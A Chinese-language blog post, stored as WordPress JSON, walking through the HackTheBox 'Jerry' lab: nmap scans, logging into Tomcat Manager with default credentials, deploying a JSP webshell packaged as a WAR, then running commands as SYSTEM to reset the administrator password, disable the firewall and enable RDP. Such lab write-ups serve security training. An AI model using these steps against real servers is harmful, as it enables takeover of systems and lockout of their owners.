{"id":183,"date":"2024-11-13T10:55:21","date_gmt":"2024-11-13T02:55:21","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=183"},"modified":"2024-11-13T10:55:22","modified_gmt":"2024-11-13T02:55:22","slug":"183","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/183\/","title":{"rendered":"HTB\u9776\u673a Jerry \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.10.95<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.10.95 (10.10.10.95) 56(84) bytes of data.\n64 bytes from 10.10.10.95: icmp_seq=1 ttl=127 time=99.8 ms\n64 bytes from 10.10.10.95: icmp_seq=2 ttl=127 time=100 ms\n64 bytes from 10.10.10.95: icmp_seq=3 ttl=127 time=100 ms\n64 bytes from 10.10.10.95: icmp_seq=4 ttl=127 time=99.9 ms\n\n--- 10.10.10.95 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3301ms\nrtt min\/avg\/max\/mdev = 99.772\/100.120\/100.423\/0.273 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u4e4b\u95f4\u901a\u4fe1\u72b6\u6001\u6b63\u5e38\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Oct 10 07:25:09 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.10.95\nNmap scan report for 10.10.10.95\nHost is up (0.11s latency).\nAll 65535 scanned ports on 10.10.10.95 are in ignored states.\nNot shown: 65535 open|filtered tcp ports (no-response)\n\n# Nmap done at Thu Oct 10 07:26:16 2024 -- 1 IP address (1 host up) scanned in 66.75 seconds<\/code><\/pre>\n<p>\u65e0\u6cd5\u786e\u5b9a\u9632\u706b\u5899\u72b6\u6001\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Oct 10 07:33:37 2024 as: nmap -sS -sV -A -p- --min-rate 2000 -oN .\/tcp_result.txt 10.10.10.95\nNmap scan report for 10.10.10.95\nHost is up (0.10s latency).\nNot shown: 65534 filtered tcp ports (no-response)\nPORT     STATE SERVICE VERSION\n8080\/tcp open  http    Apache Tomcat\/Coyote JSP engine 1.1\n|_http-server-header: Apache-Coyote\/1.1\n|_http-favicon: Apache Tomcat\n|_http-title: Apache Tomcat\/7.0.88\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nDevice type: general purpose|phone|specialized\nRunning (JUST GUESSING): Microsoft Windows 2012|8|Phone|7 (89%)\nOS CPE: cpe:\/o:microsoft:windows_server_2012:r2 cpe:\/o:microsoft:windows_8 cpe:\/o:microsoft:windows cpe:\/o:microsoft:windows_7\nAggressive OS guesses: Microsoft Windows Server 2012 or Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 R2 (89%), Microsoft Windows Server 2012 (88%), Microsoft Windows 8.1 Update 1 (86%), Microsoft Windows Phone 7.5 or 8.0 (86%), Microsoft Windows Embedded Standard 7 (85%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\n\nTRACEROUTE (using port 8080\/tcp)\nHOP RTT       ADDRESS\n1   100.15 ms 10.10.14.1\n2   100.58 ms 10.10.10.95\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Oct 10 07:35:01 2024 -- 1 IP address (1 host up) scanned in 84.31 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Oct 10 07:36:35 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_ports.txt 10.10.10.95\nNmap scan report for 10.10.10.95\nHost is up (0.31s latency).\nAll 65535 scanned ports on 10.10.10.95 are in ignored states.\nNot shown: 65535 open|filtered udp ports (no-response)\n\n# Nmap done at Thu Oct 10 07:37:43 2024 -- 1 IP address (1 host up) scanned in 68.56 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u5927\u81f4\u4e3a<code>Windows Server 2012<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/jerry.htb:8080\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728521516017-2c4646a2-babe-4917-8245-771d5ef75956.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff0c\u672a\u53d1\u73b0\u4efb\u4f55\u4fe1\u606f\u3002<\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<h2>Tomcat\u5f31\u53e3\u4ee4\u767b\u5f55<\/h2>\n<p>\u70b9\u51fb\u4e3b\u9875\u4e0a\u7684<code>Manager App<\/code>\u6309\u94ae\uff0c\u5c1d\u8bd5\u8bbf\u95ee<code>Tomcat<\/code>\u540e\u53f0\uff0c\u8df3\u51fa\u4e86\u7f51\u9875\u8ba4\u8bc1\u5f39\u6846\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728523814994-da4cd3ba-6406-4540-84e5-4f508aa3f323.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u70b9\u51fb\u53d6\u6d88\u6309\u94ae\uff0c\u670d\u52a1\u5668\u8fd4\u56de\u4e86<code>401<\/code>\u9875\u9762\uff0c\u9875\u9762\u4e0a\u5b58\u5728\u7740<code>tomcat-user.xml<\/code>\u6587\u4ef6\u7684\u4e00\u6bb5\u793a\u4f8b\u914d\u7f6e\uff0c\u5176\u4e2d\u5305\u542b\u7740\u4e00\u5bf9\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728523928231-11648d4b-26af-4b2c-8095-af9860f2b80a.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>tomcat<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>s3cret<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u4f7f\u7528\u8be5\u7528\u6237\u51ed\u636e\u767b\u5f55\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728524057728-6cb1cd84-1c86-4781-80bb-154d65bd5810.png\" alt=\"\" \/><\/p>\n<p><strong>\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u4e0a\u4f20WAR\u5305\u6728\u9a6c<\/h2>\n<p>\u9996\u5148\u76f4\u63a5\u5c06<code>\/usr\/share\/webshells\/jsp\/cmdjsp.jsp<\/code>\u590d\u5236\u5230\u6e17\u900f\u6d4b\u8bd5\u6587\u6863\u76ee\u5f55\u4e0b\u7684<code>shell<\/code>\u6587\u4ef6\u5939\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728524383324-234a23dc-50b5-400b-8790-13f5878106a8.png\" alt=\"\" \/><\/p>\n<p>\u7136\u540e\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u751f\u6210<code>WAR<\/code>\u5305\uff1a<\/p>\n<pre><code class=\"language-shell\">jar -cvf shell.war .\/*<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728524479473-5b404c34-f640-4c3f-bca0-d6bfaf04bd4d.png\" alt=\"\" \/><\/p>\n<p>\u63a5\u4e0b\u6765\u5728<code>Tomcat<\/code>\u540e\u53f0\u4e0a\u7684<code>Deploy -&gt; WAR file to deploy<\/code>\u529f\u80fd\u533a\u9009\u4e2d\u8be5<code>WAR<\/code>\u5305\uff0c\u968f\u540e\u70b9\u51fb<code>Deploy<\/code>\u6309\u94ae\u90e8\u7f72\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728524628041-ce37ae20-d579-48ed-b6eb-5530b0120302.png\" alt=\"\" \/><\/p>\n<p>\u90e8\u7f72\u6210\u529f\uff01\uff01\u76f4\u63a5\u8bbf\u95ee\u5e76\u6d4b\u8bd5\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728524693928-b3cbd60c-039d-448b-9d22-a0332988323c.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fd0\u884c\u6210\u529f\uff01\uff01\u800c\u4e14\u53d1\u73b0\u5f53\u524d<\/strong><code>**Tomcat**<\/code><strong>\u8fdb\u7a0b\u6240\u5c5e\u7528\u6237\u4e3a<\/strong><code>**NT AUTHORITYSYSTEM**<\/code><strong>.<\/strong><\/p>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>\u5f00\u542fRDP\u670d\u52a1<\/h2>\n<p>\u65e2\u7136\u76ee\u6807\u4ee5<code>SYSTEM<\/code>\u6743\u9650\u8fd0\u884c<code>Tomcat<\/code>\uff0c\u800c<code>Tomcat<\/code>\u5df2\u7ecf\u88ab\u6210\u529f\u90e8\u7f72\u4e86\u547d\u4ee4\u6267\u884c\u6728\u9a6c\uff0c\u90a3\u4e48\u65e0\u9700\u53cd\u5f39Shell\u8fdb\u884c\u63d0\u6743\u5206\u6790\uff0c\u76f4\u63a5\u5f00\u542f\u76ee\u6807<code>RDP<\/code>\u670d\u52a1\u3001\u5173\u95ed\u9632\u706b\u5899\u548c\u4fee\u6539\u7ba1\u7406\u5458\u5bc6\u7801\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-powershell\">net user administrator Asd310056\nnetsh advfirewall set allprofiles state off\nwmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728525155224-f383008c-f586-48f6-8509-e90c68ea54af.png\" alt=\"\" \/><\/p>\n<p>\u968f\u540e\u4f7f\u7528<code>Reminna<\/code>\u5de5\u5177\u8fde\u63a5\u5373\u53ef\u3002<\/p>\n<hr \/>\n<h1>Flag\u6587\u4ef6\u5c55\u793a<\/h1>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1728525670476-0d749ecc-3320-4eb6-92d1-9f370d24e293.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.10.95 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.10.95 (10.10.10.95)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,13],"tags":[],"class_list":["post-183","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-windows_machine"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/183","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=183"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/183\/revisions"}],"predecessor-version":[{"id":184,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/183\/revisions\/184"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=183"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=183"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=183"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}